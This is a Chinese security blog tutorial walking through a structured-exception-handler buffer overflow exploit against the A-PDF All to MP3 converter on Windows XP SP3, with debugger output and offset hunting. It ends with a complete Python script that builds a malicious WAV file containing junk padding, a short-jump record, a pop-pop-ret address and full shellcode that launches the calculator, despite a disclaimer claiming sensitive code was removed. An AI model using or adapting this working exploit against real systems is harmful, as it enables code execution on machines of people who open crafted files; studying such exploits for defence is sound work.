探索黑客技术攻防,实战研究与安全创新

导航菜单

A-PDFAlltoMP3基于SEH的漏洞利用

A-PDFAlltoMP3是一款MP3格式转换程序,在对该程序进行测试的时候,发现使用了加壳以及反调试技术。当时调试这个漏洞的时候是2.1.0版本,现在的最新版本是2.3.0,不过漏洞依然存在,只是内存地址发生了一些变化,感兴趣的朋友可以尝试使用本文中的教程试着调试一下。

本文进行测试的系统环境为WindowsXPSP3。用到的工具包括Windbg(微软的内核级调试工具)、ImmunityDebugger(类似于OllyDBG的调试工具,里面的一些脚本命令很好用)、findjmp(查找命令地址的工具)和metasploit(渗透测试平台,可以与ImmunityDebugger配合使用)。

本文内容所提及均为本地测试或经过目标授权同意,旨在提供教育和研究信息,内容已去除关键敏感信息和代码,以防止被恶意利用。作者不鼓励或支持任何形式的非法行为。

SEH介绍

SEH是结构化异常处理例程,当程序发生异常时,程序会调用程序中已经定义的异常处理函数进行处理(如try…catch…)。如果程序中没有定义对该异常的处理,则该异常交给系统进行处理,一般就是弹出一个对话框,并提示用户是终止程序还是调试错误。所以SEH的结构为8个字节,两个4字节的指针,第一个指针指向下一个SEH的地址,第二个指针执行异常处理函数。一般首个SEH在TEB/TIB结构的顶部,所以SEH也叫做FS:[0]链。SEH在栈中的分布大致如图1所示。


001.png

漏洞利用原理

由于SEH结构的特性,所以我们可以在第一个SEH中构造一个异常,让程序跳转到我们指定的shellcode位置。因为SEH的第一个指针(以后称为nextSEH)指向下一个SEH结构,第二个指针(以后称为SEHandler)指向处理异常的函数,所以我们可以把nextSEH指针的值设为shellcode位置,让程序跳转到那里执行。要程序跳转nextSEH必须再产生一个SEH,这里我们用poppopret。这个命令序列相当于esp+8,此时程序会跳转到nextSEH,并查找下一个SEH结构。

根据前面提到的原理,我们接下来要做的工作就是寻找存放shellcode的地址,这里shellcode直接放在SEH的后面,然后查找可以利用的SEH结构并覆盖其相应的值。换言之,payload要完成下面的事情:

触发一个异常;

用jumpcode覆盖nextSEH域;

用指向poppopret的指令串覆盖SEHandler域;

Shellcode应该直接跟在被覆盖的SEHandler域后面,被覆盖的nextSEH域中的jumpcode将跳到shellcode执行。

002.png

图2为这个payload的执行流程。

异常触发

nextSEH域被覆盖,跳转到shellcode执行

1.进入异常

处理


nextSEH
shellcode
SEHandler


2.poppopret伪造一个异常,当前的nextSEH在esp+8处,poppopret用这个地址覆盖EIP,使nextSEH得到执行

3.当前SEHandler指向poppopretpoppopret图2payload执行流程图

一个典型的payload为“[Junk][nextSEH][SEHandler][nops-shellcode]”。

nextSEH指向shellcode,SEHandler指向poppopret指令串。这里务必要挑选一个全局性的地址去覆盖SEHandler,以防程序执行的时候该地址被覆盖。

现在,我们构造一个可以让程序崩溃的payload。代码如下:


buffer=A*5000
fh=open(Acrash.wav,w)
fh.write(buffer)
fh.close()


这是一段python代码,将其编译成wav文件,以让程序可以加载。用Windbg加载程序进行调试,这里需要注意的是,该程序存在加壳与反调试的功能,所以在这里先运行程序,再用Windbg附加,加载好后g命令运行,之后在程序中添加我们构造的wav文件,导致程序崩溃。

用dfs:[0]命令查看SEH链。


0:000dfs:[0]
003b:00000000
003b:00000010
003b:00000020
003b:00000030
b0f9120000001300-0060120000000000.........`......
001e000000000000-00f0fd7f00000000................
9c0f0000fc000000-00000000f8381500.............8..
00c0fd7f00000000-0000000000000000................
003b:00000040
003b:00000050
003b:00000060
003b:00000070
009d94e300000000-0000000000000000................
0000000000000000-0000000000000000................
0000000000000000-0000000000000000................
0000000000000000-0000000000000000................


0x0012f9b0指向SEH链,查看0x0012f9b0位置,发现这个区域已经被A覆盖。


0:000d12f9b0
0012f9b0
0012f9c0
0012f9d0
0012f9e0
0012f9f0
0012fa00
0012fa10
0012fa20
4141414141414141-4141414141414141
4141414141414141-4141414141414141
4141414141414141-4141414141414141
4141414141414141-4141414141414141
4141414141414141-4141414141414141
4141414141414141-4141414141414141
4141414141414141-4141414141414141
4141414141414141-4141414141414141
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA


查看SEH链。


0:000!exchain
0012f9b0:Unloaded_papi.dll+41414140(41414141)
Invalidexceptionstackat41414141


现在我们已经成功覆盖异常处理例程。再用g命令,查看eip的值,发现eip已经被覆盖为41414141,可以控制eip。


0:000g
(f9c.fc):Accessviolation-codec0000005(firstchance)
Firstchanceexceptionsarereportedbeforeanyexceptionhandling.
Thisexceptionmaybeexpectedandhandled.
eax=00000000ebx=00000000ecx=41414141edx=7c9232bcesi=00000000edi=00000000
eip=41414141esp=0012f5e0ebp=0012f600iopl=0
nvupeiplzrnapenc
cs=001b
ss=0023
ds=0023
es=0023
fs=003b
gs=0000
efl=00210246
Unloaded_papi.dll+0x41414140:
41414141??
???


验证完漏洞可以利用后,接下来就是具体的实施了,不过我们先要得到SEH的偏移。

如何得到SEH偏移

从上面的验证我们知道,程序会在填充5000个字符的时候崩溃,所以我们构造一个5000个字符的特殊字符串。打开ImmunityDebugger,在命令行中输入“!monapattern_create5000”,这其实是metasploit的一个小工具pattern_create.rb,ImmunityDebugger将其集成,也方便Windows用户使用。

这时在ImmunityDebugger的安装目录下就出现了pattern.txt文件,这就是ImmunityDebugger构造的特殊字符。用这些构造好的特殊字符替换前面python代码中的5000个字符,编译,在ImmunityDebugger中调试加载,程序崩溃。查看SEH链,如图3所示。

003.png

图3加载特殊字符后的SEH链

可以看到SEHandler被69463968覆盖。这串数字可以帮助我们找到SEH的偏移。如果用metasploit的话,可以使用命令“./patter_offset.rb0x69463968”进行偏移的查找。在ImmunityDebugger中则使用命令“!monasuggest”,在命令执行完后点击软件上面的“l”按钮查看日志,可以看到程序列出了很多信息,其中就有我们想要的SEH偏移。图4显示了这些信息的一部分。

004.png

图4ImmunityDebugger的日志信息

从图4可以看到,红色框中的值就是我们想要得到的偏移4138,另外还可以发现ImmunityDebugger给出了该漏洞基于metasploit的利用建议。根据前面对SEH的介绍,nextSEH在SEHandler的前面4个字节,所以垃圾代码的字符个数应该是4138-4=4134个。

如何得到poppopret地址

得到SEH的偏移后,我们的payload还剩下poppopret地址没有找到。一般情况下,我们可以先用Windbg加载程序,查看程序加载时使用了哪些DLL文件,然后使用findjmp.exe查找该地址。操作方式为“findjmp.exedll名字寄存器名字”。

Windbg中的显示如图5所示,可以看到程序有两个自身的DLL被加载,使用程序自身的DLL可以避免payload对系统文件的依赖,毕竟不同的系统,系统DLL有可能不同。

005.png

图5Windbg中显示的程序运行时加载的DLL用findjmp.exe对poppopret地址进行查找,这里我在lame_enc.dll里面找相应的地址。

图6显示了查找结果,可以看到在lame_enc.dll中与edi相关的poppopret地址被列出来了。

006.png

图6findjmp.exe查找poppopret结果

现在我们应该挑选没有\x00的地址,因为\x00表示终止,我们的payload会被截断,之后把地址加到我们的python代码中的SEHandler部分就可以了。

但是,对于这个程序,这样做是不行的,在我分别试了所有的DLL,以及DLL查找到的地址之后,发现这些地址都不能用。应该是程序对SEH进行的一些保护机制,使得这种方法查找的poppopret地址出现了错误。

至于错误的检验,其实可以在程序加载特殊构造的wav文件后,崩溃,在Windbg里面查看我们用findjmp.exe找到的poppopret地址。结果如图7所示,这里的测试地址选用了在图6中显示的0x1002ad84。可以看到,在0x1002ad84地址中存放的是push,而不是我们想要得到的poppopret指令串。

007.png

图7dll中的poppopret检验

没关系,我们还有一种可以找到poppopret的方法,使用ImmunityDebugger的mona工具。在命令栏中输入“!monap”命令,在ImmunityDebugger的安装目录下就会生成seh.txt文件,该文件中有各种与SEH漏洞利用相关的信息,如是否有SEH保护机制,相关跳转的地址等,当然还包括poppopret地址。由于前面实验了一些DLL没用,所以这里我选用程序自身的地址0x005d6a91作为要覆盖SEHandler的地址。前面提到不能使用存在\x00的地址,这里我使用了这个地址运行成功,可能是这个程序有点特殊吧。

同样用Windbg检验,如图8所示,可以看到这里确实存放了poppopret指令串。

008.png

图8检验mona找到的poppopret地址

现在,各个要查找的部分都找到了,可以开始对payload进行最终的编写了。

完成exploit我们把前面完成的部分根据[Junk][nextSEH][SEH][shellcode]结构拼接起来,实现的python代码如下:


junk=A*4134
nextSEH=\xcc\xcc\xcc\xcc
SEH=\x91\x6a\x5d\x00
shellcode=1ABCDEFGHIJKLMN2ABCDEFGHIJKLMN3ABCDEFGHIJKLMN
buffer=junk+nextSEH+SEH+shellcode
fh=open(mytest.wav,w)
fh.write(buffer)
fh.close()


为了检验shellcode位置是否与我们想的一样,把nextSEH的代码用\xcc替代,让程序在此处中断,这样可以方便我们验证各个模块的位置。代码中的shellcode赋值方式可以方便我们在shellcode存在偏移的情况下较为快速地定位偏移。

生成wav文件后,用Windbg加载可以看到nextSEH的位置偏移了理想位置2个字节,如图9所示。不过,nextSEH、SEH和shellcode这三个模块还是紧紧连在一起的。

009.png

图9对之前想法的验证

因为nextSEH存在偏移2个字节,所以把Junk部分的代码改为4134-2=4132个字节,Junk=”A”*4132,重新查看可以看到nextSEH符合要求了。

接下来给nextSEH赋值,因为shellcode紧跟着SEH,SEH占用4个字节,所以我们可以跳过6个字节执行,在shellcode前面加上一些nop,让shellcode更好的执行,这里我加了4个nop,所以我们的结构就成了[Junk][nextSEH][SEH][4*nop][shellcode]。

在opcode里面\xeb表示近跳,因为我们要跳过6个字节,所以opcode为\xeb\x06。而nextSEH又占用4个字节,所以后面两个字节用nop填充,最后完成的nextSEH为nextSEH=”\xeb\x06\x90\x90”。

这样,一个payload就基本完成了,shellcode用现成的实现打开计算器功能的就行,类似这样的shellcode网上都可以找得到,也有专门的工具生成,这里不再多说。最终的payload代码如下:


junk=A*4132
nextSEH=\xeb\x06\x90\x90
SEH=\x91\x6a\x5d\x00
shellcode=(\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49
\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36
\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34
\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41
\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44
\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37
\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48
\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48
\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c
\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e
\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48
\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54
\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48
\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43
\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57
\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a
\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b
\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53
\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37
\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49
\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46
\x4e\x36\x43\x46\x42\x50\x5a)
buffer=junk+nextSEH+SEH+\x90\x90\x90\x90+shellcode
fh=open(mytest.wav,w)
fh.write(buffer)
fh.close()


这里需要说明的是,为什么shellcode之前没用括号而这里用了,因为这里shellcode的opcode太长,我把它分成了多段,每一段都是独立的,所以这里用括号把这些字符串都连起来,和在每个字符串后面用加号连起来一个效果。

编译,生成wav文件,直接用A-PDFAlltoMp3程序打开,计算器出现,exploit成功

本文内容所提及均为本地测试或经过目标授权同意,旨在提供教育和研究信息,内容已去除关键敏感信息和代码,以防止被恶意利用。作者不鼓励或支持任何形式的非法行为。